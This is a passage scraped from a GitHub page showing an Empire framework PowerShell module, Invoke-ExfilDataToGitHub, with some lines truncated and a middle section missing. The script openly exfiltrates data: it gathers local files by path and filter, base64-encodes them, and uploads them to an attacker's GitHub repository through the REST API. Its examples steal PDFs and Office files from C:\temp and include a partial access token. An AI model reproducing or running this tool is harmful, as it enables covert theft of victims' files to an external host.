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Empire / data / module\_source / exfil / Invoke-ExfilDataToGitHub.ps1



294 lines (201 loc) · 8.33 KB

Code Blame

Raw



```
1  function Invoke-ExfilDataToGitHub
2  {
3
4      <#
5
6      .SYNOPSIS
7      Use this script to exfiltrate data and files to a GitHub account.
8      Using GitHub v3 REST API tutorial here
9      https://channel9.msdn.com/Blogs/trevor-powershell/Automating-the-GitHub-REST-API-Using-PowerShell
10
11
12     .DESCRIPTION
13
14     .PARAMETER GHUser
15     GitHub Username
16
17     .PARAMETER GHRepo
18     GitHub repository
19
20     .PARAMETER GHPAT
21     GitHub Personal Access Token
22
23     .PARAMETER GHFilePath
24     GitHub filepath not including the filename so eg. testfolder/
```

```
25
26 .PARAMETER LocalFilePath
27 Local file path of files to upload
28
29 .PARAMETER GHFileName
30 GitHub filename eg. testfile.txt
31
32 .PARAMETER Filter
33 Local file filter eg. '*.*' to get all files (default), '*.pdf' for all pdfs, or 'file.txt, file2.c
34
35 .PARAMETER Data
36 Data to write to file
37
38 .SWITCH Recurse
39 Recursively get files from subdirectories of given local filepath
40
41
42
43 .EXAMPLE
44 # This example exfiltrates data to a file - keys do not work
45
46 Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2M
47                               -GHFilePath "testfolder/" -GHFileName "testfile3" -
48
49 .EXAMPLE
50 # This example exfiltrates files from a given directory and filter
51 Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2M
52                               -GHFilePath "testfolder/" -LocalfilePath "C:\temp\" -Filter "*.pdf"
53
54 .EXAMPLE
55 # This examples exfiltrates specific files from a given directory
56 Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2M
57                               -GHFilePath "testfolder" -LocalfilePath "C:\temp" -Filter "play.pptx, test.pub, blank.docx" -Re
58
59 #>
60
61 [CmdletBinding()] Param(
62
63     [Parameter(Position = 0, Mandatory = $True)]
64     [String]
65     $GHUser,
66
67     [Parameter(Position = 1, Mandatory = $True)]
68     [String]
69     $GHRepo,
```

```
71         [Parameter(Position = 2, Mandatory = $True)]
72         [String]
73         $GHPAT, # This should be base64 encoded
74
75         [Parameter(Position = 3, Mandatory = $True)]
76         [String]
77         $GHFilePath,
78
79         [Parameter(Position = 4, Mandatory=$True, ParameterSetName="ExfilFilesFromFilePath")]
80         [String]
81         $LocalFilePath,
82
83         [Parameter(Position = 4, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
84         [String]
85         $GHFileName,
86
87         [Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilFilesFromFilePath")]
88         [String]
89         $Filter = " *.*",
90
91         [Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
92         [String]
93         $Data,
94
95         [Parameter(Mandatory = $False, ParameterSetName="ExfilFilesFromFilePath")]
96         [switch]
97         $Recurse = $False
98
99
100
101     )
102
103     # Decode the GitHub Personal Access Token
104     $GHPAT = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($GHPAT))
105
106     # Get the PAT in the correct format
107     $Token = $GHUser + ":" + $GHPAT
108
109     # Convert this to Base64
110     $Base64Token = [System.Convert]::ToBase64String([char[]]$Token)
111
112     $Headers = @{
113         Authorization = 'Basic {0}' -f $Base64Token;
114     };
115
116
```





```
221
222     ForEach ($file in $Files){
223
224         Try {
225
226             # Construct the API URL
227             $GHAPIO = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GHFile
228
229
230             # Check to see if the file already exists
231             $Body = @{
232                 path = $GHFilePath + $file.Name;
233                 ref = "master";
234             }
235
236             Try {
237                 $content = Invoke-RestMethod -Headers $Headers -Uri $GHAPIO -Body $Body -Method Get
238                 # If we get here that means we were able to get the contents so get hold of the sha
239                 $sha = $content.sha
240             }
241             Catch {
242                 $ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
243                 Write-Error $ErrorMessage;
244             }
245
246             # Delete the file if it already exists
247             if ($sha -ne $null){
248
249                 $Body = @{
250                     path = $file.Name;
251                     message = "deleted file";
252                     sha = $sha;
253                 } | ConvertTo-Json;
```

```
254
255         try {
256             Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -Err
257         }
258         catch{
259             $ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
260             Write-Error $ErrorMessage;
261         }
262     }
263
264     # Upload the file
265     # Get the file as a byte array
266     $FileBytes = Get-Content -Path $file.FullName -Encoding Byte
267     # Base 64 encode the byte array
268     $Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes)
269
270     # Set the body context for GitHub
271     $Body = @{
272         path = $file.Name
273         content = $Base64EncodedFileBytes;
274         encoding = 'base64'
275         message = "Commit at: " + (Get-Date);
276     } | ConvertTo-Json
277
278     $content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -Err
279
280
281     }
282     Catch {
283         $ErrorMessage = "Trying to upload file " + $file.FullName + " : " + $_.Exception.Message
284         Write-Error $ErrorMessage
285     }
286 }
287
288 }
289
290 }
291
292 #endregion
293
294 }
```